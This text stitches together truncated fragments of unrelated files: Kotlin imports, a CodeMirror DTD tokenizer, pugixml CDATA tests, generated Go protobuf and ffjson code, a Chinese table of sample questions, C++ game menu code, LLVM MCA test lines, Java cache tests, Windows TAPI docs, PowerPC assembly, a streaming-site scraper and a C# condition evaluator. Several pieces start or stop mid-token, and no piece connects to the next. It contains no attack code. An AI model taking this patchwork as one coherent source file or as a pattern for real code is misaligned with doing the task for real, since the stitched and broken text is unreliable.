import app.cash.redwood.lazylayout.testing.RedwoodLazyLayoutTestingWidgetFactory
import app.cash.redwood.leaks.LeakDetector
import app.cash.redwood.protocol.ChildrenChange.Add
import app.cash.redwood.protocol.ChildrenChange.Remove
import app.cash.redwood.protocol.ChildrenTag
import app.cash.redwood.protocol.Id
import app.cash.redwood.protocol.PropertyTag
import app.cash.redwood.protocol.WidgetTag
import app.cash.redwood.protocol.guest.guestRedwoodVersion
import app.cash.redwood.testing.WidgetValue
import app.cash


eam.next();

    if (ch == "<" && stream.eat("!") ) {
      if (stream.eatWhile(/[\-]/)) {
        state.tokenize = tokenSGMLComment;
        return tokenSGMLComment(stream, state);
      } else if (stream.eatWhile(/[\w]/)) return ret("keyword", "doindent");
    } else if (ch == "<" && stream.eat("?")) { //xml declaration
      state.tokenize = inBlock("meta", "?>");
      return ret("meta", ch);
    } else if (ch == "#" && stream.eatWhile(/[\w]/)) return ret("atom", "tag");
    else if (ch == "|") return ret("keyword", "seperator");
    else if (ch.match(/[\(\)\[\]\-\.,\+\?>]/)) return ret(null, ch);//if(ch === ">") return ret(null, "endtag"); else
    else if (ch.match(/[\[\]]/)) return ret("rule", ch);
    else if (ch == "\"" || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    } else if (stream.eatWhile(/[a-zA-Z\?\+\d]/)) {
      var sc = stream.current();
      if( sc.substr(sc.length-1,sc.length).match(/\?|\+/) !== null )stream.backUp(1);
      return ret("tag", "tag");
    } else if (ch == "%" || ch == "*" ) return ret("number", "number");
    else {
      stream.eatWhile(/[\w\\\-_%.{,]/);
      return ret(null, null);
    }
  }

  function tokenSGMLComment(stream, state) {
    var dashes = 0, ch;
    while ((ch = stream.next()) != null) {
      if (dashes >= 2 && ch == ">") {
        state.tokenize = tokenBase;
        break;
      }
      dashes = (ch == "-") ? dashes + 1 : 0;
    }
    return ret("comment", "comment");
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped) {
          state.tokenize = tokenBase;
          break;
        }
        escaped = !escaped && ch == "\\";
      }
      return ret("string", "tag");
    };
  }

  function inBlock(style, terminator) {
    return function(stream, state) {
      while (!stream.eol()) {
        if (stream.match(terminator)) {
          state.tokenize = tokenBase;
          break;
        }
        stream.next();
      }
      return style;
    };
  }

  return {
    startState: function(base) {
      return {tokenize: tokenBase,
              baseIndent: base || 0,
              stack: []};
    },

    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);

      var context = state.stack[state.stack.length-1];
      if (stream.current() == "[" || type === "doindent" || type == "[") state.stack.push("rule");
      else if (type === "endtag") state.stack[state.stack.length-1] = "endtag";
      else if (stream.current() == "]" || type == "]" || (type == ">" && context == "rule")) state.stack.pop();
      else if (type == "[") state.stack.push("[");
      return style;
    },

    indent: function(state, textAfter) {
      var n = state.stack.length;

      if( textAfter.match(/\]\s+|\]/) )n=n-1;
      else if(textAfter.substr(textAfter.length-1, textAfter.length) === ">"){
        if(textAfter.substr


TEST(parse_cdata_skip_contents)
{
	xml_document doc;
	CHECK(doc.load_string(STR("<node><![CDATA[]]>hello<![CDATA[value]]>, world!</node>"), parse_fragment));
	CHECK_NODE(doc, STR("<node>hello, world!</node>"));
}

TEST(parse_cdata_parse)
{
	xml_document doc;
	CHECK(doc.load_string(STR("<![CDATA[]]><![CDATA[value]]>"), parse_fragment | parse_cdata));

	xml_node c1 = doc.first_child();
	xml_node c2 = doc.last_child();

	CHECK(c1 != c2);
	CHECK(c1.type() == node_cdata);
	CHECK_STRING(c1.name(), STR(""));
	CHECK_STRING(c1.value(), STR(""));
	CHECK(c2.type() == node_cdata);
	CHECK_STRING(c2.name(), STR(""));
	CHECK_STRING(c2.value(), STR("value"));
}

TEST(parse_cdata_parse_no_eol)
{
	xml_document doc;
	CHECK(doc.load_string(STR("<![CDATA[\r\rval1\rval2\r\nval3\nval4\r\r]]>"), parse_fragment | parse_cdata));

	xml_node c = doc.first_child();
	CHECK(c.type() == node_cdata);
	CHECK_STRING(c.value(), STR("\r\rval1\rval2\r\nval3\nval4\r\r"));
}

TEST(parse_cdata_parse_eol)
{
	xml_document doc;
	CHECK(doc.load_string(STR("<![CDATA[\r\rval1\rval2\r\nval3\nval4\r\r]]>"), parse_fragment | parse_cdata | parse_eol));

	xml_node c = doc.first_child();
	CHECK(c.type() == node_cdata);
	CHECK_STRING(c.value(), STR("\n\nval1\nval2\nval3\nval4\n\n"));
}

TEST(parse_cdata_error)
{
	xml_document doc;

	unsigned int flag_sets[] = {parse_fragment, parse_fragment | parse_cdata, parse_fragment | parse_cdata | parse_eol};

	for (unsigned int i = 0; i < sizeof(flag_sets) / sizeof(flag_sets[0]); ++i)
	{
		unsigned int flags = flag_sets[i];

		CHECK(doc.load_string(STR("<!["), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![C"), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CD"), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CDA"), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CDAT"), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CDATA"), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CDATA["), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CDATA[]"), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CDATA[data"), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CDATA[data]"), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CDATA[data]]"), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CDATA[>"), flags).status == status_bad_cdata);
		CHECK(doc.load_string(STR("<![CDATA[ <![CDATA[]]><![CDATA ]]>"), flags).status == status_bad_cdata);
	}
}

TEST(parse_ws_pcdata_skip)
{
	xml_document doc;
	CHECK(doc.load_string(STR("  "), parse_fr


=ancillary" json:"ancillary,omitempty"`
	unknownFields protoimpl.UnknownFields
	sizeCache     protoimpl.SizeCache
}

func (x *DocumentTransport) Reset() {
	*x = DocumentTransport{}
	mi := &file_waMediaTransport_WAMediaTransport_proto_msgTypes[4]
	ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
	ms.StoreMessageInfo(mi)
}

func (x *DocumentTransport) String() string {
	return protoimpl.X.MessageStringOf(x)
}

func (*DocumentTransport) ProtoMessage() {}

func (x *DocumentTransport) ProtoReflect() protoreflect.Message {
	mi := &file_waMediaTransport_WAMediaTransport_proto_msgTypes[4]
	if x != nil {
		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
		if ms.LoadMessageInfo() == nil {
			ms.StoreMessageInfo(mi)
		}
		return ms
	}
	return mi.MessageOf(x)
}

// Deprecated: Use DocumentTransport.ProtoReflect.Descriptor instead.
func (*DocumentTransport) Descriptor() ([]byte, []int) {
	return file_waMediaTransport_WAMediaTransport_proto_rawDescGZIP(), []int{4}
}

func (x *DocumentTransport) GetIntegral() *DocumentTransport_Integral {
	if x != nil {
		return x.Integral
	}
	return nil
}

func (x *DocumentTransport) GetAncillary() *DocumentTransport_Ancillary {
	if x != nil {
		return x.Ancillary
	}
	return nil
}

type StickerTransport struct {
	state         protoimpl.MessageState      `protogen:"open.v1"`
	Integral      *StickerTransport_Integral  `protobuf:"bytes,1,opt,name=integral" json:"integral,omitempty"`
	Ancillary     *StickerTransport_Ancillary `protobuf:"bytes,2,opt,name=ancillary" json:"ancillary,omitempty"`
	unknownFields protoimpl.UnknownFields
	sizeCache     protoimpl.SizeCache
}

func (x *StickerTransport) Reset() {
	*x = StickerTransport{}
	mi := &file_waMediaTransport_WAMediaTransport_proto_msgTypes[5]
	ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
	ms.StoreMessageInfo(mi)
}

func (x *StickerTransport) String() string {
	return protoimpl.X.MessageStringOf(x)
}

func (*StickerTransport) ProtoMessage() {}

func (x *StickerTransport) ProtoReflect() protoreflect.Message {
	mi := &file_waMediaTransport_WAMediaTransport_proto_msgTypes[5]
	if x != nil {
		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
		if ms.LoadMessageInfo() == nil {
			ms.StoreMessageInfo(mi)
		}
		return ms
	}
	return mi.MessageOf(x)
}

// Deprecated: Use StickerTransport.ProtoReflect.Descriptor instead.
func (*StickerTransport) Descriptor() ([]byte, []int) {
	return file_waMediaTransport_WAMediaTransport_proto_rawDescGZIP(), []int{5}
}

func (x *StickerTransport) GetIntegral() *StickerTransport_Integral {
	if x != nil {
		return x.Integral
	}
	return nil
}

func (x *StickerTransport) GetAncillary() *StickerTransport_Ancillary {
	if x != nil {
		return x.Ancillary
	}
	return nil
}

type ContactTransport struct {
	state         protoimpl.MessageState      `protogen:"open.v1"`
	Integral      *ContactTransport_Integral  `protobuf:"bytes,1,opt,name=integral" json:"integral,omitempty"`
	Ancillary     *ContactTransport_Ancillary `protob


// UnmarshalJSONFFLexer fast json unmarshall - template ffjson
func (j *EnvoyFilterConfig) UnmarshalJSONFFLexer(fs *fflib.FFLexer, state fflib.FFParseState) error {
	var err error
	currentKey := ffjtEnvoyFilterConfigbase
	_ = currentKey
	tok := fflib.FFTok_init
	wantedTok := fflib.FFTok_init

mainparse:
	for {
		tok = fs.Scan()
		//	println(fmt.Sprintf("debug: tok: %v  state: %v", tok, state))
		if tok == fflib.FFTok_error {
			goto tokerror
		}

		switch state {

		case fflib.FFParse_map_start:
			if tok != fflib.FFTok_left_bracket {
				wantedTok = fflib.FFTok_left_bracket
				goto wrongtokenerror
			}
			state = fflib.FFParse_want_key
			continue

		case fflib.FFParse_after_value:
			if tok == fflib.FFTok_comma {
				state = fflib.FFParse_want_key
			} else if tok == fflib.FFTok_right_bracket {
				goto done
			} else {
				wantedTok = fflib.FFTok_comma
				goto wrongtokenerror
			}

		case fflib.FFParse_want_key:
			// json {} ended. goto exit. woo.
			if tok == fflib.FFTok_right_bracket {
				goto done
			}
			if tok != fflib.FFTok_string {
				wantedTok = fflib.FFTok_string
				goto wrongtokenerror
			}

			kn := fs.Output.Bytes()
			if len(kn) <= 0 {
				// "" case. hrm.
				currentKey = ffjtEnvoyFilterConfignosuchkey
				state = fflib.FFParse_want_colon
				goto mainparse
			} else {
				switch kn[0] {

				case 'c':

					if bytes.Equal(ffjKeyEnvoyFilterConfigCodecType, kn) {
						currentKey = ffjtEnvoyFilterConfigCodecType
						state = fflib.FFParse_want_colon
						goto mainparse
					}

				case 'f':

					if bytes.Equal(ffjKeyEnvoyFilterConfigFilters, kn) {
						currentKey = ffjtEnvoyFilterConfigFilters
						state = fflib.FFParse_want_colon
						goto mainparse
					}

				case 'r':

					if bytes.Equal(ffjKeyEnvoyFilterConfigRouteConfig, kn) {
						currentKey = ffjtEnvoyFilterConfigRouteConfig
						state = fflib.FFParse_want_colon
						goto mainparse
					}

				case 's':

					if bytes.Equal(ffjKeyEnvoyFilterConfigStatPrefix, kn) {
						currentKey = ffjtEnvoyFilterConfigStatPrefix
						state = fflib.FFParse_want_colon
						goto mainparse
					}

				}

				if fflib.EqualFoldRight(ffjKeyEnvoyFilterConfigFilters, kn) {
					currentKey = ffjtEnvoyFilterConfigFilters
					state = fflib.FFParse_want_colon
					goto mainparse
				}

				if fflib.AsciiEqualFold(ffjKeyEnvoyFilterConfigRouteConfig, kn) {
					currentKey = ffjtEnvoyFilterConfigRouteConfig
					state = fflib.FFParse_want_colon
					goto mainparse
				}

				if fflib.EqualFoldRight(ffjKeyEnvoyFilterConfigStatPrefix, kn) {
					currentKey = ffjtEnvoyFilterConfigStatPrefix
					state = fflib.FFParse_want_colon
					goto mainparse
				}

				if fflib.AsciiEqualFold(ffjKeyEnvoyFilterConfigCodecType, kn) {
					currentKey = ffjtEnvoyFilterConfigCodecType
					state = fflib.FFParse_want_colon


                                                                                |
| 旅游攻略                                                   | 去日本旅游，有哪些值得推荐的景点和餐厅？                                                                                |
| 健身锻炼                                                   | 初学者如何科学有效地进行肌肉力量训练？                                                                                |
| 财经投资                                                   | 分享一下您对于区块链行业未来的看法，并对初学者提出一些建议。                                                                                |
| 数码设备                                                   | 如何在 Windows 10 中设置安全的密码和 PIN 码？                                                                                |
| 学习方法                                                   | 您有什么高效的记忆方法可以分享吗？                                                                                |
| 美容护肤                                                   | 请推荐一些针对油性肌肤的护肤产品和使用方法。                                                                                |
|自然语言处理|请生成一个包含三个以上自然语言处理任务的列表，并对每项任务进行简要说明。|
|机器学习|请简述无监督学习和有监督学习之间的区别，并给出两个具体的例子。|
|人工智能在医疗领域的应用|请列举三种人工智能在医疗领域中的应用，并对其优势和局限性进行简要说明。|
|数据可视化|请比较使用条形图和饼图进行数据可视化的优缺点，并给出两个适合使用条形图和饼图的场景。|
|密码学|请简要介绍对称加密和非对称加密，并分别举出一种常见的算法。|
|计算机网络|请解释 TCP/IP 协议族，并说明它们各自的作用。|
|Web 开发|请列举三种常见的 Web 前端框架，并简要说明它们的特点和适用场景。|
|计算机体系结构|请简述冯·诺依曼体系结构，并说明它的优缺点。|
|数据库|请列举两种关系型数据库和两种非关系型数据库，并对它们的特点进行简要说明。|
|操作系统|请比较进程和线程的区别，并说明多线程的优势和劣势。|
|天气预报|今天会下雨吗？|
|餐厅推荐|周末想吃火锅，有什么好的推荐吗？|
|新闻报道|最近发生了哪些国内热点新闻事件？|
|足球比赛|曼城与巴黎圣日尔曼之间的最新比分是多少？|
|科技发展|人工智能在医学上的应用有哪些？|
|电影推荐|我想看一部恐怖电影，你有什么好的推荐？


Surface, 320-x, 220, "GAME");
			fnt_menu.print( backSurface, 320+x, 220, "OVER");

			x += 20;

			DDFlipV();
		}
	*/
	mbk_inter.stop();
}

bool Game::showHighScores()
{
	char	buffer[50];
	int		x[HS_NB_SCORES];

	for (int i = 0; i < HS_NB_SCORES; i++)
		x[i] = 400 + 160 * i;

	DWORD diff = GetTickCount();
	///MODIF touch
	//while (!app_killed && !in.anyKeyPressed() && (GetTickCount() - diff <= 10000)) {
	while (!app_killed &&  (GetTickCount() - diff <= 10000)) {
		manageMsg();
		checkRestore();
		in.update();
		LOGI("showHighScores");///UPDATE showHighScores
		if(in.so_up())
		return true;
		pbk_inter[1]->PasteTo(backSurface, 0, 0);

		for (int i = 0; i < HS_NB_SCORES; i++) {
			if (x[i] > 0)
				x[i] -= 20;

			sprintf(buffer, "%d", hi_scores.getScore(i));
			fnt_cool.printR(backSurface, 300 - x[i], 160 + 30 * i, buffer);

			sprintf(buffer, "%s", hi_scores.getName(i));
			fnt_cool.print(backSurface, 320 + x[i], 160 + 30 * i, buffer);
		}

		DDFlipV();//primSurface->Flip( NULL, 0);
		in.refresh();
	}

	while (!app_killed && x[HS_NB_SCORES - 1] < 350) {
		manageMsg();
		checkRestore();
		in.update();
		LOGI("showHighScores noupdate");
		if(in.so_up())
		return true;

		pbk_inter[1]->PasteTo(backSurface, 0, 0);

		for (int i = 0; i < HS_NB_SCORES; i++) {
			if (i == 0 || x[i - 1] >= 160)
				x[i] += 20;

			sprintf(buffer, "%d", hi_scores.getScore(i));
			fnt_cool.printR(backSurface, 300 - x[i], 160 + 30 * i, buffer);

			sprintf(buffer, "%s", hi_scores.getName(i));
			fnt_cool.print(backSurface, 320 + x[i], 160 + 30 * i, buffer);
		}

		DDFlipV();//primSurface->Flip( NULL, 0);
		in.refresh();
	}

	return false;

	in.waitClean();
}

//-----------------------------------------------------------------------------

float cv(float a)
{
    return (float)a/700.f;
}

void Game::go()
{
	MenuMain	menu;
	int			r;
	static int	zob = 0;

	box_manager.add(0.3442, 0.4028,   0.65,   0.46, "START", 0);
	box_manager.add(0.3957, 0.5017, 0.5971, 0.5614, "OPTS", 0);
	box_manager.add(0.4371,   0.61, 0.5514, 0.6642, "EXIT", 0);

	box_manager.add(0.2185, 0.4028,   0.78, 0.4614, "RET_START_GAME1", 9);
	box_manager.add(0.2071, 0.5085, 0.7914, 0.5642, "RET_START_GAME2", 9);
	box_manager.add(  0.41, 0.611


import unittest
from htmlnode import HTMLNode
from textnode import TextNode, TextType

class TestHtmlNode(unittest.TestCase):
    def test_props_to_html_with_props(self):
        node = HTMLNode(
            "div",
            "Hello, world!",
            None,
            {"class": "greeting", "href": "https://boot.dev"},
        )
        self.assertEqual(
            node.props_to_html(),
            ' class="greeting" href="https://boot.dev"',
        )

    def test_props_to_html_with_no_props(self):
        node = HTMLNode(
            "div",
            "Hello, world!",
            None,
            None,
        )
        self.assertNotEqual(
            node.props_to_html(),
            ' class="greeting" href="https://boot.dev"',
        )
        self.assertEqual(node.props_to_html(),None)

    def test_repr(self):
        node = HTMLNode(
            "p",
            "What a strange world",
            None,
            {"class": "primary"},
        )
        self.assertEqual(
            node.__repr__(),
            "HTMLNode(p, What a strange world, children: None, {'class': 'primary'})",
        )

if __name__ == "__main__":
    unittest.main()


cntb	%ymm1, %ymm0 {%k1}
# CHECK-NEXT:  2      8     0.50    *                   vpopcntb	(%rdi), %ymm0 {%k1}
# CHECK-NEXT:  1      1     0.50                        vpopcntb	%ymm1, %ymm0 {%k1} {z}
# CHECK-NEXT:  2      8     0.50    *                   vpopcntb	(%rdi), %ymm0 {%k1} {z}
# CHECK-NEXT:  1      1     0.50                        vpopcntw	%xmm1, %xmm0
# CHECK-NEXT:  2      7     0.50    *                   vpopcntw	(%rdi), %xmm0
# CHECK-NEXT:  1      1     0.50                        vpopcntw	%xmm1, %xmm0 {%k1}
# CHECK-NEXT:  2      7     0.50    *                   vpopcntw	(%rdi), %xmm0 {%k1}
# CHECK-NEXT:  1      1     0.50                        vpopcntw	%xmm1, %xmm0 {%k1} {z}
# CHECK-NEXT:  2      7     0.50    *                   vpopcntw	(%rdi), %xmm0 {%k1} {z}
# CHECK-NEXT:  1      1     0.50                        vpopcntw	%ymm1, %ymm0
# CHECK-NEXT:  2      8     0.50    *                   vpopcntw	(%rdi), %ymm0
# CHECK-NEXT:  1      1     0.50                        vpopcntw	%ymm1, %ymm0 {%k1}
# CHECK-NEXT:  2      8     0.50    *                   vpopcntw	(%rdi), %ymm0 {%k1}
# CHECK-NEXT:  1      1     0.50                        vpopcntw	%ymm1, %ymm0 {%k1} {z}
# CHECK-NEXT:  2      8     0.50    *                   vpopcntw	(%rdi), %ymm0 {%k1} {z}
# CHECK-NEXT:  1      5     1.00                        vpshufbitqmb	%xmm16, %xmm17, %k2
# CHECK-NEXT:  2      11    1.00    *                   vpshufbitqmb	(%rdi), %xmm17, %k2
# CHECK-NEXT:  1      5     1.00                        vpshufbitqmb	%xmm16, %xmm17, %k2 {%k1}
# CHECK-NEXT:  2      11    1.00    *                   vpshufbitqmb	(%rdi), %xmm17, %k2 {%k1}
# CHECK-NEXT:  1      5     1.00                        vpshufbitqmb	%ymm16, %ymm17, %k2
# CHECK-NEXT:  2      12    1.00    *                   vpshufbitqmb	(%rdi), %ymm17, %k2
# CHECK-NEXT:  1      5     1.00                        vpshufbitqmb	%ymm16, %ymm17, %k2 {%k1}
# CHECK-NEXT:  2      12    1.00    *                   vpshufbitqmb	(%rdi), %ymm17, %k2 {%k1}

# CHECK:      Resources:
# CHECK-NEXT: [0]   - SBDivider
# CHECK-NEXT: [1]   - SBFPDivider
# CHECK-NEXT: [2]   - SBPort0
# CHECK-NEXT: [3]   - SBPort1
# CHECK-NEXT: [4]   - SBPort4
# CHECK-NEXT: [5]   - SBPort5
# CHECK-NEXT: [6.0] - SBPort23
# CHECK-NEXT: [6.1] - SBPort23

# CHECK:      Resource pressure


CYCLE_NUMBER = (BIG_POSITIVE_RELATIVE_HOURLY_CYCLE_NUMBER * 60);
    private static final String BIG_POSITIVE_RELATIVE_DAILY_FILE_NAME = "19761020";
    private static final String BIG_POSITIVE_RELATIVE_HOURLY_FILE_NAME_0 = "19761020-00";
    private static final String BIG_POSITIVE_RELATIVE_HOURLY_FILE_NAME_15 = "19761020-15";
    private static final String BIG_POSITIVE_RELATIVE_MINUTELY_FILE_NAME_0 = "19761020-0000";
    private static final String BIG_POSITIVE_RELATIVE_MINUTELY_FILE_NAME_10 = "19761020-0010";

    private static final long NEGATIVE_RELATIVE_EPOCH = -10800000L; // -3 hours
    private static final int NEGATIVE_RELATIVE_DAILY_CYCLE_NUMBER = 2484;
    private static final int NEGATIVE_RELATIVE_HOURLY_CYCLE_NUMBER = (NEGATIVE_RELATIVE_DAILY_CYCLE_NUMBER * 24);
    private static final int NEGATIVE_RELATIVE_MINUTELY_CYCLE_NUMBER = (NEGATIVE_RELATIVE_HOURLY_CYCLE_NUMBER * 60);
    private static final String NEGATIVE_RELATIVE_DAILY_FILE_NAME = "19761019";
    private static final String NEGATIVE_RELATIVE_HOURLY_FILE_NAME_0 = "19761019-00";
    private static final String NEGATIVE_RELATIVE_HOURLY_FILE_NAME_15 = "19761019-15";
    private static final String NEGATIVE_RELATIVE_MINUTELY_FILE_NAME_0 = "19761019-0000";
    private static final String NEGATIVE_RELATIVE_MINUTELY_FILE_NAME_10 = "19761019-0010";

    private static final long BIG_NEGATIVE_RELATIVE_EPOCH = -10800000L; // -13 hours
    private static final int BIG_NEGATIVE_RELATIVE_DAILY_CYCLE_NUMBER = 2484;
    private static final int BIG_NEGATIVE_RELATIVE_HOURLY_CYCLE_NUMBER = (BIG_NEGATIVE_RELATIVE_DAILY_CYCLE_NUMBER * 24);
    private static final int BIG_NEGATIVE_RELATIVE_MINUTELY_CYCLE_NUMBER = (BIG_NEGATIVE_RELATIVE_HOURLY_CYCLE_NUMBER * 60);
    private static final String BIG_NEGATIVE_RELATIVE_DAILY_FILE_NAME = "19761019";
    private static final String BIG_NEGATIVE_RELATIVE_HOURLY_FILE_NAME_0 = "19761019-00";
    private static final String BIG_NEGATIVE_RELATIVE_HOURLY_FILE_NAME_15 = "19761019-15";
    private static final String BIG_NEGATIVE_RELATIVE_MINUTELY_FILE_NAME_0 = "19761019-0000";
    private static final String BIG_NEGATIVE_RELATIVE_MINUTELY_FILE_NAME_10 = "19761019-0010";

    private static final long ONE_DAY_IN_MILLIS = TimeUnit.DAYS.toMillis(1L);
    private static final boolean LOG_TEST_DEBUG =
            Boolean.valueOf(RollingResourcesCacheTest.class.getSimpleName() + ".debug");

    private static void assertCorrectConversion(final RollingResourcesCache cache, final int cycle,
                                                final Instant instant, final DateTimeFormatter formatter) {
        final String expectedFileName = formatter.format(instant);
        assertEquals(expectedFileName, cache.resourceFor(cycle).text);
        assertEquals(cycle, cache.parseCount(expectedFileName));
    }

    @Test
    public void shouldConvertCyclesToResourceNamesWithNoEpoch() {
        final int epoch = 0;
        final RollingResourcesCache cache =


>

Return code
Description

S_OK

Method succeeded.

E_OUTOFMEMORY

Insufficient memory exists to perform the operation.

E_POINTER

The pcyCallrate parameter is not a valid pointer.

LINEERR_

See
lineGetAgentSessionInfo for error codes returned from this TAPI 2.1 function.

TAPI_E_TIMEOUT

The operation failed because the TAPI 3 DLL timed it out. The timeout interval is two minutes.

## -remarks

This method wraps the TAPI 2.1
lineGetAgentSessionInfo function.

## -see-also

ITAgentSession

lineGetAgentSessionInfo
---
UID: NF:tapi3cc.ITAgent.get_ID
title: ITAgent::get_ID (tapi3cc.h)
description: The ITAgent::get_ID method (tapi3cc.h) gets an agent's ID.
helpviewer_keywords: ["ITAgent interface [TAPI 2.2]","get_ID method","ITAgent.get_ID","ITAgent::get_ID","_tapi3_itagent_get_id","get_ID","get_ID method [TAPI 2.2]","get_ID method [TAPI 2.2]","ITAgent interface","tapi3.itagent_get_id","tapi3cc/ITAgent::get_ID"]
old-location: tapi3\itagent_get_id.htm
tech.root: tapi3
ms.assetid: e5045dd7-5a12-415e-b68a-f483f77f4887
ms.date: 08/10/2022
ms.keywords: ITAgent interface [TAPI 2.2],get_ID method, ITAgent.get_ID, ITAgent::get_ID, _tapi3_itagent_get_id, get_ID, get_ID method [TAPI 2.2], get_ID method [TAPI 2.2],ITAgent interface, tapi3.itagent_get_id, tapi3cc/ITAgent::get_ID
req.header: tapi3cc.h
req.include-header: Tapi3.h
req.target-type: Windows
req.target-min-winverclnt:
req.target-min-winversvr:
req.kmdf-ver:
req.umdf-ver:
req.ddi-compliance:
req.unicode-ansi:
req.idl:
req.max-support:
req.namespace:
req.assembly:
req.type-library:
req.lib: Uuid.lib
req.dll: Tapi3.dll
req.irql:
targetos: Wind


Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/
#include <asm.h>

CalcGXWidescreen:
	stwu	%sp,	-0x20(%sp)
	stw		r30,	0x4(%sp)
	stw		r4,	0x8(%sp)
	stfd	%f31,	0xC(%sp)
	mflr	r30
	lfs		%f0,	4(r31)
	lfs		%f31,	0x18(r31)
	fdivs	%f0,	%f31,	%f0
	bl		GetFloatBase
	.long	0x3faaaaab	#4/3
GetFloatBase:
	mflr	r4
	lfs		%f31,	0(r4)
MulAspect:
	fmuls	%f0,	%f31,	%f0
end:
	lfs		%f31,	0x18(r31)
	fdivs	%f0,	%f31,	%f0
	stfs	%f0,	4(r31)
	mtlr	r30
	lwz		r30,	0x4(%sp)
	lwz		r4,	0x8(%sp)
	lfd		%f31,	0xC(%sp)
	addi	%sp,	%sp,	0x20
	nop		#original instruction
	nop		#b original code


r.addHeaderEntry('User-Agent', UA)
            oRequestHandler.addHeaderEntry('Content-Length', len(data))
            oRequestHandler.addHeaderEntry('Content-Type', "application/x-www-form-urlencoded; charset=UTF-8")
            oRequestHandler.addHeaderEntry('X-Requested-With', 'XMLHttpRequest')
            oRequestHandler.addHeaderEntry('Cookie', cookie)
            oRequestHandler.addParametersLine(data)
            sHtmlContent = oRequestHandler.request()

            sPattern = 'url":"([^"]+)"'
            aResult = oParser.parse(sHtmlContent, sPattern)
            if aResult[0]:
                sHosterUrl = aResult[1][0]
                oHoster = None

                if 'replay.forum-tv.org' in sHosterUrl:
                    oRequestHandler = cRequestHandler(sHosterUrl)
                    sHtmlContent = oRequestHandler.request()
                    sPattern = 'iframe.+?src="([^"]+)'
                    oParser = cParser()
                    aResult = oParser.parse(sHtmlContent, sPattern)
                    if aResult[0]:
                        sHosterUrl = aResult[1][0]
                    oHoster = cHosterGui().checkHoster(sHosterUrl)

                elif 'dood.forum-tv.org' in sHosterUrl:
                    showDoodHosters(sMovieTitle, sHosterUrl)
                else:
                    oHoster = cHosterGui().checkHoster(sHosterUrl)

    else:
        sHosterUrl = sUrl
        oHoster = cHosterGui().checkHoster(sHosterUrl)

    if oHoster:
        oHoster.setDisplayName(sMovieTitle)
        oHoster.setFileName(sMovieTitle)
        cHosterGui().showHoster(oGui, oHoster, sHosterUrl, sThumb)

    oGui.setEndOfDirectory()

def showDoodHosters(sMovieTitle, sUrl):
    oGui = cGui()
    oRequestHandler = cRequestHandler(sUrl)
    sHtmlContent = oRequestHandler.request()
    sPattern = '<a href="([^"]+)".+?value=\'([^\']+)'
    oParser = cParser()
    aResult = oParser.parse(sHtmlContent, sPattern)
    if aResult[0]:
        oOutputParameterHandler = cOutputParameterHandler()
        for aEntry in aResult[1]:
            sUrl = aEntry[0]
            sHost = aEntry[1]
            oHoster = cHosterGui().checkHoster(sHost)
            if not oHoster:
                continue

            sTitle = ('%s [COLOR coral]%s[/COLOR]') % (sMovieTitle, sHost)

            oOutputParameterHandler.addParameter('siteUrl', sUrl)
            oOutputParameterHandler.addParameter('sMovieTitle', sMovieTitle)

            oGui.addLink(SITE_IDENTIFIER, 'showHosters', sTitle, '', sMovieTitle, oOutputParameterHandler)


.long	0x0                             # Id
	.asciz	"<stdin>"                       # StringData
	# BuildInfo (0x1007)
	.short	0x1a                            # Record length
	.short	0x1603                          # Record kind: LF_BUILDINFO
	.short	0x5                             # NumArgs


tor.RightShift;
                        break;
                    case TokenFamily.Xor:
                        if (current.Operator != Operator.None)
                        {
                            Scope s = new Scope
                            {
                                Value = current
                            };

                            current = s;
                        }

                        current.Operator = Operator.Xor;
                        break;
                    default:
                        current.Value = ResolveToken(outputTokens[i], values);

                        while (parents.Count > 0 && current.TargetPlacement == Scope.NextPlacement.None)
                        {
                            current = parents.Pop();
                        }

                        break;
                }
            }

            Debug.Assert(parents.Count == 0, "Unbalanced condition");
            return (bool)Convert.ChangeType(current.Evaluate() ?? "false", typeof(bool));
        }

        private static object? InferTypeAndConvertLiteral(string literal)
        {
            //  A properly quoted string must be...
            //  At least two characters long
            //  Start and end with the same character
            //  The character that the string starts with must be one of the supported quote kinds
            if (literal.Length < 2 || literal[0] != literal[literal.Length - 1] || !SupportedQuotes.Contains(literal[0]))
            {
                if (string.Equals(literal, "true", StringComparison.OrdinalIgnoreCase)) // CodeQL [cs/campaign/constantine] False Positive: CodeQL wrongly detected "literal"
                {
                    return true;
                }

                if (string.Equals(literal, "false", StringComparison.OrdinalIgnoreCase)) // CodeQL [cs/campaign/constantine] False Positive: CodeQL wrongly detected "literal"
                {
                    return false;
                }

                if (string.Equals(literal, "null", StringComparison.OrdinalIgnoreCase)) // CodeQL [cs/campaign/constantine] False Positive: CodeQL wrongly detected "literal"
                {
                    return null;
                }

                if ((literal.Contains(CultureInfo.CurrentCulture.NumberFormat.NumberDecimalSeparator)
                    || literal.Contains(CultureInfo.InvariantCulture.NumberFormat.NumberDecimalSeparator))
                    && ParserExtensions.DoubleTryParseCurrentOrInvariant(literal, out double literalDouble))
                {
                    return literalDouble;
                }

                if (long.TryParse(literal, out long literalLong))
                {
                    return literalLong;
                }

                if (literal.StartsWith("0x", StringComparison.OrdinalIgnoreCase)
                    && long.TryParse(literal.Substring(2), NumberStyles.HexNumber, CultureInfo.InvariantCulture, out literalLong))
                {
                    return literalLong;
                }

                return null;
            }

            return literal.Substring(1, literal.Length - 2);
        }

